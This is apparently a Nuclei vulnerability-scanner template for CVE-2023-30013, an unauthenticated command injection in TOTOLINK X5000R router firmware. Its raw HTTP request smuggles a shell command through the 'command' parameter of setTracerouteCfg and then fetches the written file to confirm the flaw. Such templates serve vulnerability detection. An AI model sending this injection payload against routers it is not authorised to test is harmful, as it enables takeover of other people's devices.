id: CVE-2023-30013

info:
  name: TOTOLink - Unauthenticated Command Injection
  author: gy741
  severity: critical
  description: |
    TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30013
    - https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30013
    cwe-id: CWE-78
    epss-score: 0.102540000
    epss-percentile: 0.942680000
    cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:*
  tags: totolink,cve,cve2023,router,unauth,rce,iot

requests:
  - raw:
      - |
        POST /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}

        {"command":"127.0.0.1; ls>../{{randstr}};#","num":"230","topicurl":"setTracerouteCfg"}

      - |
        GET /{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ".sh"
          - ".cgi"
        condition: and

      - type: status
        status:
          - 200